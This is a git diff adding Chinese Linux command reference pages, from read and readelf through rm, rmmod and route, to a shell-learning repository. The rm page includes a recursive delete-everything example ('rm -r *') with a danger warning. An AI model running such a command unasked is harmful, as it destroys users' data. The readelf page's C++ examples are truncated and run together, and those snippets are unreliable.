+echo +echo password read, is "$pwd" +``` + +方法2: + +``` +#!/bin/bash +stty -echo +read -p "输入密码:" pwd +stty echo +echo +echo 输入完毕。 +``` + +其中,选项`-echo`禁止将输出发送到终端,而选项`echo`则允许发送输出。 + +使用read命令从键盘读取变量值,并且将值赋给指定的变量,输入如下命令: + +``` +read v1 v3 #读取变量值 +``` + +执行上面的指令以后,要求键入两个数据,如下所示: + +``` +Linux c+ #输入数据 +``` + +完成之后,可以使用echo命令将指定的变量值输出查看,输入如下命令: + +``` +echo $v1 $v3 #输出变量的值 +``` + +执行输出变量值的命令以后,将显示用户所输入的数据值,如下所示: + +``` +Linux c+ #输出变量值 +``` + +注意:使用echo命令输出变量值时,必须在变量名前添加符号`$`。否则,echo将直接输出变量名。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/readelf.md b/LearnShell/LinuxCommands/readelf.md new file mode 100644 index 0000000..c0ef438 --- /dev/null +++ b/LearnShell/LinuxCommands/readelf.md @@ -0,0 +1,601 @@ +readelf +=== + +用于显示elf格式文件的信息 + +## 补充说明 + +**readelf命令** 用来显示一个或者多个elf格式的目标文件的信息,可以通过它的选项来控制显示哪些信息。这里的elf-file(s)就表示那些被检查的文件。可以支持32位,64位的elf格式文件,也支持包含elf文件的文档(这里一般指的是使用ar命令将一些elf文件打包之后生成的例如lib*.a之类的“静态库”文件)。  + +这个程序和objdump提供的功能类似,但是它显示的信息更为具体,并且它不依赖BFD库(BFD库是一个GNU项目,它的目标就是希望通过一种统一的接口来处理不同的目标文件),所以即使BFD库有什么bug存在的话也不会影响到readelf程序。  + +运行readelf的时候,除了-v和-H之外,其它的选项必须有一个被指定。  + +### ELF文件类型 + + **种类型的ELF文件:** + +1. 可重定位文件:用户和其他目标文件一起创建可执行文件或者共享目标文件,例如lib*.a文件。  +2. 可执行文件:用于生成进程映像,载入内存执行,例如编译好的可执行文件a.out。  +3. 共享目标文件:用于和其他共享目标文件或者可重定位文件一起生成elf目标文件或者和执行文件一起创建进程映像,例如lib*.so文件。  + + **ELF文件作用:** + +ELF文件参与程序的连接(建立一个程序)和程序的执行(运行一个程序),所以可以从不同的角度来看待elf格式的文件:  + +1. 如果用于编译和链接(可重定位文件),则编译器和链接器将把elf文件看作是节头表描述的节的集合,程序头表可选。  +2. 如果用于加载执行(可执行文件),则加载器则将把elf文件看作是程序头表描述的段的集合,一个段可能包含多个节,节头表可选。  +3. 如果是共享文件,则两者都含有。  + + **ELF文件总体组成:**   + +elf文件头描述elf文件的总体信息。包括:系统相关,类型相关,加载相关,链接相关。  + +* 系统相关表示:elf文件标识的魔术数,以及硬件和平台等相关信息,增加了elf文件的移植性,使交叉编译成为可能。  +* 类型相关就是前面说的那个类型。  +* 加载相关:包括程序头表相关信息。  +* 链接相关:节头表相关信息。  + +### 选项 + +``` +-a +--all 显示全部信息,等价于 -h -l -S -s -r -d -V -A -I. + +-h +--file-header 显示elf文件开始的文件头信息. + +-l +--program-headers +--segments 显示程序头(段头)信息(如果有的话)。 + +-S +--section-headers +--sections 显示节头信息(如果有的话)。 + +-g +--section-groups 显示节组信息(如果有的话)。 + +-t +--section-details 显示节的详细信息(-S的)。 + +-s +--syms +--symbols 显示符号表段中的项(如果有的话)。 + +-e +--headers 显示全部头信息,等价于: -h -l -S + +-n +--notes 显示note段(内核注释)的信息。 + +-r +--relocs 显示可重定位段的信息。 + +-u +--unwind 显示unwind段信息。当前只支持IA64 ELF的unwind段信息。 + +-d +--dynamic 显示动态段的信息。 + +-V +--version-info 显示版本段的信息。 + +-A +--arch-specific 显示CPU构架信息。 + +-D +--use-dynamic 使用动态段中的符号表显示符号,而不是使用符号段。 + +-x +--hex-dump= 以16进制方式显示指定段内内容。number指定段表中段的索引,或字符串指定文件中的段名。 + +-w[liaprmfFsoR] or +--debug-dump[=line,=info,=abbrev,=pubnames,=aranges,=macro,=frames,=frames-interp,=str,=loc,=Ranges] 显示调试段中指定的内容。 + +-I +--histogram 显示符号的时候,显示bucket list长度的柱状图。 + +-v +--version 显示readelf的版本信息。 + +-H +--help 显示readelf所支持的命令行选项。 + +-W +--wide 宽行输出。 + +@file 可以将选项集中到一个文件中,然后使用这个@file选项载入。 +``` + +### 实例 + +先给出如下例子: + + **1.对于可执行文件形式的elf格式文件:** + +1)查看可执行程序的源代码如下:  + +``` +root@localhost [test]$ cat main.cpp +#include +using std::cout; +using std::endl; +void my_print(); + +int main(int argc, char *argv[]) +{ + my_print(); + cout<<"hello!"< +using std::cout; +using std::endl; +void printInfo() +{ + cout<<"hello"< \ No newline at end of file diff --git a/LearnShell/LinuxCommands/readonly.md b/LearnShell/LinuxCommands/readonly.md new file mode 100644 index 0000000..e9d6c7c --- /dev/null +++ b/LearnShell/LinuxCommands/readonly.md @@ -0,0 +1,57 @@ +readonly +=== + +定义只读shell变量或函数 + +## 补充说明 + +**readonly命令** 用于定义只读shell变量和shell函数。readonly命令的选项-p可以输出显示系统中所有定义的只读变量。 + +### 语法 + +``` +readonly(选项)(参数) +``` + +### 选项 + +``` +-f:定义只读函数; +-a:定义只读数组变量; +-p:显示系统中全部只读变量列表。 +``` + +### 参数 + +变量定义:定义变量,格式为“变量名=‘变量值’”。 + +### 实例 + +使用readonly命令显示系统中所有的已经定义的只读变量,输入如下命令: + +``` +[root@localhost ~]# readonly #显示只读变量 +declare -ar BASH_VERSINFO='([0]="3" [1]="2" [2]="25" [3]="1" [4]="release" [5]="i686-redhat-linux-gnu")' +declare -ir EUID="0" +declare -ir PPID="31436" +declare -r SHELLOPTS="braceexpand:emacs:hashall:histexpand:history:interactive-comments:monitor" +declare -ir UID="0" +``` + +对于只读变量而言,若用户对其值进行修改,则会立即报错。例如,使用该指令定义一个只读变量"test",并且将其值初始化为"ok",输入如下命令: + +``` +[root@localhost ~]# readonly test='ok' #定义只读变量并初始化 +``` + +那么当用户直接修改该只读变量时,就会被报错,如下所示: + +``` +[root@localhost ~]# test='my' #试图修改只读变量的值 +-bash: test: readonly variable +``` + +当用户试图修改只读变量的值时,会被提示该变量为只读变量。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/reboot.md b/LearnShell/LinuxCommands/reboot.md new file mode 100644 index 0000000..e235a2a --- /dev/null +++ b/LearnShell/LinuxCommands/reboot.md @@ -0,0 +1,34 @@ +reboot +=== + +重新启动正在运行的Linux操作系统 + +## 补充说明 + +**reboot命令** 用来重新启动正在运行的Linux操作系统。 + +### 语法 + +``` +reboot(选项) +``` + +### 选项 + +``` +-d:重新开机时不把数据写入记录文件/var/tmp/wtmp。本参数具有“-n”参数效果; +-f:强制重新开机,不调用shutdown指令的功能; +-i:在重开机之前,先关闭所有网络界面; +-n:重开机之前不检查是否有未结束的程序; +-w:仅做测试,并不真正将系统重新开机,只会把重开机的数据写入/var/log目录下的wtmp记录文件。 +``` + +### 实例 + +``` +reboot //重开机。 +reboot -w //做个重开机的模拟(只有纪录并不会真的重开机)。 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/reject.md b/LearnShell/LinuxCommands/reject.md new file mode 100644 index 0000000..ae30883 --- /dev/null +++ b/LearnShell/LinuxCommands/reject.md @@ -0,0 +1,30 @@ +reject +=== + +指示打印系统拒绝发往指定目标打印机的打印任务 + +## 补充说明 + +**reject命令** 属于CUPS套件,用于指示打印系统拒绝发往指定目标打印机的打印任务。 + +### 语法 + +``` +reject(选项)(参数) +``` + +### 选项 + +``` +-E:当连接到服务器时强制使用加密; +-U:指定连接服务器时使用的用户名; +-h:指定连接服务器名和端口号; +-r:指定拒绝打印任务的原因。 +``` + +### 参数 + +目标:指定目标打印机。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/rename.md b/LearnShell/LinuxCommands/rename.md new file mode 100644 index 0000000..924861e --- /dev/null +++ b/LearnShell/LinuxCommands/rename.md @@ -0,0 +1,77 @@ +rename +=== + +用字符串替换的方式批量改变文件名 + +## 补充说明 + +**rename命令** 用字符串替换的方式批量改变文件名。 + +### 语法 + +``` +rename(参数) +``` + +### 参数 + +``` +原字符串:将文件名需要替换的字符串; +目标字符串:将文件名中含有的原字符替换成目标字符串; +文件:指定要改变文件名的文件列表。 +``` + +### 实例 + +将main1.c重命名为main.c + +``` +rename main1.c main.c main1.c +``` + + **rename支持通配符** + +``` +? 可替代单个字符 +* 可替代多个字符 +[charset] 可替代charset集中的任意单个字符 +``` + +文件夹中有这些文件foo1, ..., foo9, foo10, ..., foo278 + +如果使用`rename foo foo0 foo?`,会把foo1到foo9的文件重命名为foo01到foo09,重命名的文件只是有4个字符长度名称的文件,文件名中的foo被替换为foo0。 + +如果使用`rename foo foo0 foo??`,foo01到foo99的所有文件都被重命名为foo001到foo099,只重命名5个字符长度名称的文件,文件名中的foo被替换为foo0。 + +如果使用`rename foo foo0 foo*`,foo001到foo278的所有文件都被重命名为foo0001到foo0278,所有以foo开头的文件都被重命名。 + +如果使用`rename foo0 foo foo0[2]*`,从foo0200到foo0278的所有文件都被重命名为foo200到foo278,文件名中的foo0被替换为foo。 + + **rename支持正则表达式** + +字母的替换 + +``` +rename "s/AA/aa/" * //把文件名中的AA替换成aa +``` + +修改文件的后缀 + +``` +rename "s//.html//.php/" * //把.html 后缀的改成 .php后缀 +``` + +批量添加文件后缀 + +``` +rename "s/$//.txt/" * //把所有的文件名都以txt结尾 +``` + +批量删除文件名 + +``` +rename "s//.txt//" * //把所有以.txt结尾的文件名的.txt删掉 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/renice.md b/LearnShell/LinuxCommands/renice.md new file mode 100644 index 0000000..c0264c9 --- /dev/null +++ b/LearnShell/LinuxCommands/renice.md @@ -0,0 +1,39 @@ +renice +=== + +修改正在运行的进程的调度优先级 + +## 补充说明 + +**renice命令** 可以修改正在运行的进程的调度优先级。预设是以程序识别码指定程序调整其优先权,您亦可以指定程序群组或用户名称调整优先权等级,并修改所有隶属于该程序群组或用户的程序的优先权。只有系统管理者可以改变其他用户程序的优先权,也仅有系统管理者可以设置负数等级。 + +### 语法 + +``` +renice(选项)(参数) +``` + +### 选项 + +``` +-g:指定进程组id; +-p<程序识别码>:改变该程序的优先权等级,此参数为预设值。 +-u:指定开启进程的用户名。 +``` + +### 参数 + +进程号:指定要修改优先级的进程。 + +### 实例 + +将行程id为987及32的行程与行程拥有者为daemon及root的优先序号码加1: + +``` +renice 1 987 -u daemon root -p 32 +``` + +注意:每一个行程都有一个唯一的id。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/repquota.md b/LearnShell/LinuxCommands/repquota.md new file mode 100644 index 0000000..72468e8 --- /dev/null +++ b/LearnShell/LinuxCommands/repquota.md @@ -0,0 +1,38 @@ +repquota +=== + +报表的格式输出磁盘空间限制的状态 + +## 补充说明 + +**repquota命令** 以报表的格式输出指定分区,或者文件系统的磁盘配额信息。 + +### 语法 + +``` +repquota(选项)(参数) +``` + +### 选项 + +``` +-a:列出在/etc/fstab文件里,有加入quota设置的分区的使用状况,包括用户和群组; +-g:列出所有群组的磁盘空间限制; +-u:列出所有用户的磁盘空间限制; +-v:显示该用户或群组的所有空间限制。 +``` + +### 参数 + +文件系统:要打印报表的文件系统或者对应的设备文件名。 + +### 实例 + +显示所有文件系统的磁盘使用情况 + +``` +repquota -a +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/resize.md b/LearnShell/LinuxCommands/resize.md new file mode 100644 index 0000000..615bc79 --- /dev/null +++ b/LearnShell/LinuxCommands/resize.md @@ -0,0 +1,53 @@ +resize +=== + +命令设置终端机视窗的大小。 + +## 补充说明 + +**resize命令** 命令设置终端机视窗的大小。执行resize指令可设置虚拟终端机的视窗大小。 + +### 语法 + +``` +resize [-cu][-s <列数> <行数>] +``` + +### 选项 + +``` +-c  就算用户环境并非C Shell,也用C Shell指令改变视窗大小。 +-s <列数> <行数>  设置终端机视窗的垂直高度和水平宽度。 +-u  就算用户环境并非Bourne Shell,也用Bourne Shell指令改变视窗大小。 +``` + +### 实例 + +使用 C shell + +``` +[root@localhost ~]# resize -c +set noglob; +setenv COLUMNS '99'; +setenv LINES '34'; +unset noglob; +``` + + +使用 Bourne shell + +``` +[root@localhost ~]# resize -u +COLUMNS=99; +LINES=34; +export COLUMNS LINES; +``` + +设置指定大小 + +``` +[root@localhost ~]# resize -s 80 160 +``` + + + diff --git a/LearnShell/LinuxCommands/restore.md b/LearnShell/LinuxCommands/restore.md new file mode 100644 index 0000000..1627ad8 --- /dev/null +++ b/LearnShell/LinuxCommands/restore.md @@ -0,0 +1,55 @@ +restore +=== + +所进行的操作和dump指令相反 + +## 补充说明 + +**restore命令** 是dump命令的逆过程,用于还原dump命令生成的备份文件。倾倒操作可用来备份文件,而还原操作则是写回这些已备份的文件。 + +### 语法 + +``` +restore(选项) +``` + +### 选项 + +``` +-b<区块大小>:设置区块大小,单位为Byte; +-c:不检查倾倒操作的备份格式,仅准许读取使用旧格式的备份文件; +-C:使用对比模式,将备份的文件与现行的文件相互对比; +-D<文件系统>:允许用户指定文件系统的名称; +-f<备份文件>:从指定的文件中读取备份数据,进行还原操作; +-h:仅解除目录而不包括与该目录相关的所有文件; +-i:使用互动模式,在进行还原操作时,restore指令将依序询问用户; +-m:解开符合指定的inode编号的文件或目录而非用文件名称指定; +-r:进行还原操作; +-R:全面还原文件系统时,检查应从何处开始进行; +-s<文件编号>:当备份数据超过一卷磁带时,用户可以指定备份文件的编号; +-t:指定文件名称,若该文件已存在备份文件中,则列出它们的名称; +-v:显示指令执行过程; +-x:设置文件名称,且从指定的存储媒体里读入它们,若该文件已存在在备份文件中,则将其还原到文件系统内; +-y:不询问任何问题,一律以同意回答并继续执行指令。 +``` + +### 实例 + +``` +dump -9 -u -f /dev/hda3 /home/frank/ +``` + +用restore命令来恢复备份: + +``` +restore rf /dev/hda3 /home/frank +``` + +用restore命令来查看备份文件里的文件列表: + +``` +restore ft /dev/hda3 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/restorecon.md b/LearnShell/LinuxCommands/restorecon.md new file mode 100644 index 0000000..fec2679 --- /dev/null +++ b/LearnShell/LinuxCommands/restorecon.md @@ -0,0 +1,69 @@ +restorecon +=== + +恢复文件的安全上下文 + +## 补充说明 + +**restorecon命令** 用来恢复SELinux文件属性即恢复文件的安全上下文。 + +### 语法 + +``` +restorecon [-iFnrRv] [-e excludedir ] [-o filename ] [-f filename | pathname...] +``` + +### 选项 + +``` +-i:忽略不存在的文件。 +-f:infilename 文件 infilename 中记录要处理的文件。 +-e:directory 排除目录。 +-R/-r:递归处理目录。 +-n:不改变文件标签。 +-o/outfilename:保存文件列表到 outfilename,在文件不正确情况下。 +-v:将过程显示到屏幕上。 +-F:强制恢复文件安全语境。 +``` + +### 实例 + +假设CentOS安装了apache,网页默认的主目录是`/var/www/html`,我们经常遇到这样的问题,在其他目录中创建了一个网页文件,然后用mv移动到网页默认目录`/var/www/html`中,但是在浏览器中却打不开这个文件,这很可能是因为这个文件的SELinux配置信息是继承原来那个目录的,与`/var/www/html`目录不同,使用mv移动的时候,这个SELinux配置信息也一起移动过来了,从而导致无法打开页面,具体请看下面的实例: + +
/*使用CentOS举例,如果默认没有安装apache,确保网络连接,使用下面的命令安装*/
+[root@jsdig.com ~]# yum install httpd
+ /*我们在root的家目录新建一个html文件*/
+[root@jsdig.com ~]# pwd
+/root
+
+[root@jsdig.com ~]# vi index.html
+
+/*随便输入一段文字,保存退出*/
+welcome to www.jsdig.com
+
+/*将这个文件mv到网页默认目录下*/
+[root@jsdig.com ~]# mv index.html /var/www/html/
+
+/*
+ * 这个时候我们使用firefox浏览器输入127.0.0.1/index.html发现打不开,
+ * 查看一下SELinux的日志文件,发现了下面这一段报错信息,从这个报错信息不难看出,
+ * 进程httpd访问网页主目录中的index.html时被SELinux阻止,原因是因为,SELinux配置信息不正确,
+ * 正确的SELinux配置信息应该是scontext=后面的部分,
+ * 而index.html文件的SELinux配置信息却是tcontext=后面的部分,
+ * 从tcontext=的第三段“admin_home_t”不难看出,这个文件的SELinux配置信息是root用户家目录的。
+ */
+type=AVC msg=audit(1378974214.610:465): avc:  denied  { open } for  pid=2359 comm="httpd" path="/var/www/html/index.html" dev="sda1" ino=1317685 scontext=system_u:system_r:httpd_t:s0 tcontext=unconfined_u:object_r:admin_home_t:s0 tclass=file
+
+/*使用ls -Z也可以看出,文件和目录的SELinux信息不匹配*/
+[root@jsdig.com html]# ls -Z /var/www/html/
+.... unconfined_u:object_r:admin_home_t:s0 index.html
+
+[root@jsdig.com html]# ls -Zd /var/www/html/
+.... system_u:object_r:httpd_sys_content_t:s0 /var/www/html/
+
+/*使用restorecon来恢复网页主目录中所有文件的SELinux配置信息(如果目标为一个目录,可以添加-R参数递归)*/
+[root@jsdig.com html]# restorecon -R /var/www/html/
+```
+
+
+
\ No newline at end of file
diff --git a/LearnShell/LinuxCommands/rev.md b/LearnShell/LinuxCommands/rev.md
new file mode 100644
index 0000000..25fd9fd
--- /dev/null
+++ b/LearnShell/LinuxCommands/rev.md
@@ -0,0 +1,55 @@
+rev
+===
+
+将文件内容以字符为单位反序输出
+
+## 补充说明
+
+**rev命令** 将文件中的每行内容以字符为单位反序输出,即第一个字符最后输出,最后一个字符最先输出,依次类推。
+
+### 语法  
+
+```
+rev(参数)
+```
+
+### 参数  
+
+文件:指定要反序显示内容的文件。
+
+### 实例  
+
+```
+[root@localhost ~]# cat iptables.bak
+# Generated by iptables-save v1.3.5 on Thu Dec 26 21:25:15 2013
+*filter
+:INPUT DROP [48113:2690676]
+:FORWARD accept [0:0]
+:OUTPUT ACCEPT [3381959:1818595115]
+-A INPUT -i lo -j ACCEPT
+-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
+-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
+-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
+-A INPUT -p icmp -j ACCEPT
+-A OUTPUT -o lo -j ACCEPT
+COMMIT
+# Completed on Thu Dec 26 21:25:15 2013
+
+[root@localhost ~]# rev iptables.bak 
+3102 51:52:12 62 ceD uhT no 5.3.1v evas-selbatpi yb detareneG #
+retlif*
+]6760962:31184[ PORD TUPNI:
+]0:0[ TPECCA DRAWROF:
+]5115958181:9591833[ TPECCA TUPTUO:
+ TPECCA j- ol i- TUPNI A-
+ TPECCA j- 22 tropd-- pct m- pct p- TUPNI A-
+ TPECCA j- 08 tropd-- pct m- pct p- TUPNI A-
+ TPECCA j- DEHSILBATSE,DETALER etats-- etats m- TUPNI A-
+ TPECCA j- pmci p- TUPNI A-
+ TPECCA j- ol o- TUPTUO A-
+TIMMOC
+3102 51:52:12 62 ceD uhT no detelpmoC #
+```
+
+
+
\ No newline at end of file
diff --git a/LearnShell/LinuxCommands/rexec.md b/LearnShell/LinuxCommands/rexec.md
new file mode 100644
index 0000000..f6aa6c5
--- /dev/null
+++ b/LearnShell/LinuxCommands/rexec.md
@@ -0,0 +1,61 @@
+rexec
+===
+
+运程执行Linux系统下命令 
+
+## 补充说明
+
+**rexec命令** 用于在指定的远程Linux系统主机上执行命令,向远程rexec服务器发出执行命令的请求。
+
+rexec命令通过检查`$HOME/.netrc`文件(包含远程主机上使用的用户名和密码)来提供自动登录的功能。如果没有发现此类项或系统在安全方式下操作(参阅 securetcpip 命令),rexec命令提示输入一个远程主机的有效用户名和密码。这两种情况下,rexec均导致远程系统上的rexecd使用缺省的compat用户登录认证方法。rexecd不会为了备用的认证方法去查找`/etc/security/user`文件。也可以指定`-n`标志到rexec命令行上来重设自动登录功能。
+
+### 语法  
+
+```
+rexec(选项)(参数)
+```
+
+### 选项  
+
+```
+-a:表示远程命令的标准错误与标准输出相同,不支持发送任意信号到远程进程;
+-l<用户名>:指定连接远程rexec服务器的用户名;
+-p<密码>:指定连接远程rexec服务器的密码;
+-n:明确地提示输入用户名和密码。
+```
+
+### 参数  
+
+*   远程主机:指定远程主机(ip地址或主机名);
+*   命令:指定需要在远程主机上执行的命令。
+
+### 实例  
+
+要在一个远程主机上执行date命令,输入:
+
+```
+rexec host1 date
+```
+
+date命令的输出现在显示在本地系统上。本示例中,在本地主机上的`$HOME/.netrc`文件包含远程主机上有效的用户名和密码。如果没有远程主机的`$HOME/.netrc`文件中的有效项,将提示输入登录标识和密码。输入所要求的登录信息后,date命令的输出显示在本地系统上。
+
+要重设自动登录功能并执行远程主机上的date命令,输入:
+
+```
+rexec -nhost1 date
+```
+
+出现提示时输入用户名和密码,date命令的输出现在显示在本地系统上。
+
+列出远程主机上另一个用户的目录,输入:
+
+```
+rexec host1 ls -l /home/karen
+```
+
+在远程主机host1上的karen 用户的目录列表显示在本地系统上。
+
+如果没有远程主机的`$HOME/.netrc`文件中的有效项,将提示您输入登录标识和密码。输入要求的登录信息后,在远程主机host1上的karen用户的目录列表显示在本地系统上。
+
+
+
\ No newline at end of file
diff --git a/LearnShell/LinuxCommands/rlogin.md b/LearnShell/LinuxCommands/rlogin.md
new file mode 100644
index 0000000..11ffc52
--- /dev/null
+++ b/LearnShell/LinuxCommands/rlogin.md
@@ -0,0 +1,31 @@
+rlogin
+===
+
+从当前终端登录到远程Linux主机
+
+## 补充说明
+
+**rlogin命令** 用于从当前终端登录到远程Linux主机。
+
+### 语法  
+
+```
+rlogin(选项)(参数)
+```
+
+### 选项  
+
+```
+-8:允许输入8位字符数据;
+-e脱离字符>:设置脱离字符;
+-E:滤除脱离字符;
+-l用户名称>:指定要登入远端主机的用户名称;
+-L:使用litout模式进行远端登入阶段操作。
+```
+
+### 参数  
+
+远程主机:指定要登录的远程主机(ip地址或者域名)。
+
+
+
\ No newline at end of file
diff --git a/LearnShell/LinuxCommands/rm.md b/LearnShell/LinuxCommands/rm.md
new file mode 100644
index 0000000..9f59f15
--- /dev/null
+++ b/LearnShell/LinuxCommands/rm.md
@@ -0,0 +1,52 @@
+rm
+===
+
+用于删除给定的文件和目录
+
+## 补充说明
+
+**rm**  **命令** 可以删除一个目录中的一个或多个文件或目录,也可以将某个目录及其下属的所有文件及其子目录均删除掉。对于链接文件,只是删除整个链接文件,而原有文件保持不变。
+
+注意:使用rm命令要格外小心。因为一旦删除了一个文件,就无法再恢复它。所以,在删除文件之前,最好再看一下文件的内容,确定是否真要删除。rm命令可以用-i选项,这个选项在使用文件扩展名字符删除多个文件时特别有用。使用这个选项,系统会要求你逐一确定是否要删除。这时,必须输入y并按Enter键,才能删除文件。如果仅按Enter键或其他字符,文件不会被删除。
+
+### 语法  
+
+```
+rm (选项)(参数)
+```
+
+### 选项  
+
+```
+-d:直接把欲删除的目录的硬连接数据删除成0,删除该目录;
+-f:强制删除文件或目录;
+-i:删除已有文件或目录之前先询问用户;
+-r或-R:递归处理,将指定目录下的所有文件与子目录一并处理;
+--preserve-root:不对根目录进行递归操作;
+-v:显示指令的详细执行过程。
+```
+
+### 参数  
+
+文件:指定被删除的文件列表,如果参数中含有目录,则必须加上`-r`或者`-R`选项。
+
+### 实例  
+
+交互式删除当前目录下的文件test和example
+
+```
+rm -i test example
+Remove test ?n(不删除文件test)
+Remove example ?y(删除文件example)
+```
+
+删除当前目录下除隐含文件外的所有文件和子目录
+
+```
+# rm -r *
+```
+
+应注意,这样做是非常危险的!
+
+
+
\ No newline at end of file
diff --git a/LearnShell/LinuxCommands/rmdir.md b/LearnShell/LinuxCommands/rmdir.md
new file mode 100644
index 0000000..fc4e51f
--- /dev/null
+++ b/LearnShell/LinuxCommands/rmdir.md
@@ -0,0 +1,44 @@
+rmdir
+===
+
+用来删除空目录
+
+## 补充说明
+
+**rmdir命令** 用来删除空目录。当目录不再被使用时,或者磁盘空间已到达使用限定值,就需要删除失去使用价值的目录。利用rmdir命令可以从一个目录中删除一个或多个空的子目录。该命令从一个目录中删除一个或多个子目录,其中dirname佬表示目录名。如果dirname中没有指定路径,则删除当前目录下由dirname指定的目录;如dirname中包含路径,则删除指定位置的目录。删除目录时,必须具有对其父目录的写权限。
+
+注意:子目录被删除之前应该是空目录。就是说,该目录中的所有文件必须用rm命令全部,另外,当前工作目录必须在被删除目录之上,不能是被删除目录本身,也不能是被删除目录的子目录。
+
+虽然还可以用带有`-r`选项的rm命令递归删除一个目录中的所有文件和该目录本身,但是这样做存在很大的危险性。
+
+### 语法  
+
+```
+rmdir(选项)(参数)
+```
+
+### 选项  
+
+```
+-p或--parents:删除指定目录后,若该目录的上层目录已变成空目录,则将其一并删除;
+--ignore-fail-on-non-empty:此选项使rmdir命令忽略由于删除非空目录时导致的错误信息;
+-v或-verboes:显示命令的详细执行过程;
+--help:显示命令的帮助信息;
+--version:显示命令的版本信息。
+```
+
+### 参数  
+
+目录列表:要删除的空目录列表。当删除多个空目录时,目录名之间使用空格隔开。
+
+### 实例  
+
+删除子目录os_1和其父目录bin
+
+```
+cd /usr/meng/test
+rmdir -p bin/os_1
+```
+
+
+
\ No newline at end of file
diff --git a/LearnShell/LinuxCommands/rmmod.md b/LearnShell/LinuxCommands/rmmod.md
new file mode 100644
index 0000000..6e386b4
--- /dev/null
+++ b/LearnShell/LinuxCommands/rmmod.md
@@ -0,0 +1,42 @@
+rmmod
+===
+
+从运行的内核中移除指定的内核模块
+
+## 补充说明
+
+**rmmod命令** 用于从当前运行的内核中移除指定的内核模块。执行rmmod指令,可删除不需要的模块。Linux操作系统的核心具有模块化的特性,应此在编译核心时,务须把全部的功能都放如核心。你可以将这些功能编译成一个个单独的模块,待有需要时再分别载入它们。
+
+### 语法  
+
+```
+rmmod(选项)(参数)
+```
+
+### 选项  
+
+```
+-v:显示指令执行的详细信息;
+-f:强制移除模块,使用此选项比较危险;
+-w:等待着,直到模块能够被除时在移除模块;
+-s:向系统日志(syslog)发送错误信息。
+```
+
+### 参数  
+
+模块名:要移除的模块名称。
+
+### 实例  
+
+用rmmod命令主要用于卸载正在使用的Linux内核模块,与`modprobe -r`命令相似,如下所示:
+
+```
+[root@localhost boot]# lsmod | grep raid1
+raid1                  25153  0
+
+[root@localhost boot]# rmmod raid1
+[root@localhost boot]# lsmod | grep raid1
+```
+
+
+
\ No newline at end of file
diff --git a/LearnShell/LinuxCommands/route.md b/LearnShell/LinuxCommands/route.md
new file mode 100644
index 0000000..53f7867
--- /dev/null
+++ b/LearnShell/LinuxCommands/route.md
@@ -0,0 +1,105 @@
+route
+===
+
+显示并设置Linux中静态路由表
+
+## 补充说明
+
+**route命令** 用来显示并设置Linux内核中的网络路由表,route命令设置的路由主要是静态路由。要实现两个不同的子网之间的通信,需要一台连接两个网络的路由器,或者同时位于两个网络的网关来实现。
+
+在Linux系统中设置路由通常是为了解决以下问题:该Linux系统在一个局域网中,局域网中有一个网关,能够让机器访问Internet,那么就需要将这台机器的ip地址设置为Linux机器的默认路由。要注意的是,直接在命令行下执行route命令来添加路由,不会永久保存,当网卡重启或者机器重启之后,该路由就失效了;可以在`/etc/rc.local`中添加route命令来保证该路由设置永久有效。
+
+### 语法  
+
+```
+route(选项)(参数)
+```
+
+### 选项  
+
+```
+-A:设置地址类型;
+-C:打印将Linux核心的路由缓存;
+-v:详细信息模式;
+-n:不执行DNS反向查找,直接显示数字形式的IP地址;
+-e:netstat格式显示路由表;
+-net:到一个网络的路由表;
+-host:到一个主机的路由表。
+```
+
+### 参数  
+
+```
+Add:增加指定的路由记录;
+Del:删除指定的路由记录;
+Target:目的网络或目的主机;
+gw:设置默认网关;
+mss:设置TCP的最大区块长度(MSS),单位MB;
+window:指定通过路由表的TCP连接的TCP窗口大小;
+dev:路由记录所表示的网络接口。
+```
+
+### 实例  
+
+ **显示当前路由:** 
+
+```
+[root@localhost ~]# route
+Kernel IP routing table
+Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
+112.124.12.0    *               255.255.252.0   U     0      0        0 eth1
+10.160.0.0      *               255.255.240.0   U     0      0        0 eth0
+192.168.0.0     10.160.15.247   255.255.0.0     UG    0      0        0 eth0
+172.16.0.0      10.160.15.247   255.240.0.0     UG    0      0        0 eth0
+10.0.0.0        10.160.15.247   255.0.0.0       UG    0      0        0 eth0
+default         112.124.15.247  0.0.0.0         UG    0      0        0 eth1
+
+[root@localhost ~]# route -n
+Kernel IP routing table
+Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
+112.124.12.0    0.0.0.0         255.255.252.0   U     0      0        0 eth1
+10.160.0.0      0.0.0.0         255.255.240.0   U     0      0        0 eth0
+192.168.0.0     10.160.15.247   255.255.0.0     UG    0      0        0 eth0
+172.16.0.0      10.160.15.247   255.240.0.0     UG    0      0        0 eth0
+10.0.0.0        10.160.15.247   255.0.0.0       UG    0      0        0 eth0
+0.0.0.0         112.124.15.247  0.0.0.0         UG    0      0        0 eth1
+```
+
+其中Flags为路由标志,标记当前网络节点的状态,Flags标志说明:
+
+*   U Up表示此路由当前为启动状态。
+*   H Host,表示此网关为一主机。
+*   G Gateway,表示此网关为一路由器。
+*   R Reinstate Route,使用动态路由重新初始化的路由。
+*   D Dynamically,此路由是动态性地写入。
+*   M Modified,此路由是由路由守护程序或导向器动态修改。
+*   ! 表示此路由当前为关闭状态。
+
+ **添加网关/设置网关:** 
+
+```
+route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0    #增加一条到达244.0.0.0的路由。
+```
+
+ **屏蔽一条路由:** 
+
+```
+route add -net 224.0.0.0 netmask 240.0.0.0 reject     #增加一条屏蔽的路由,目的地址为224.x.x.x将被拒绝。
+```
+
+ **删除路由记录:** 
+
+```
+route del -net 224.0.0.0 netmask 240.0.0.0
+route del -net 224.0.0.0 netmask 240.0.0.0 reject
+```
+
+ **删除和添加设置默认网关:** 
+
+```
+route del default gw 192.168.120.240
+route add default gw 192.168.120.240
+```
+
+
+
\ No newline at end of file
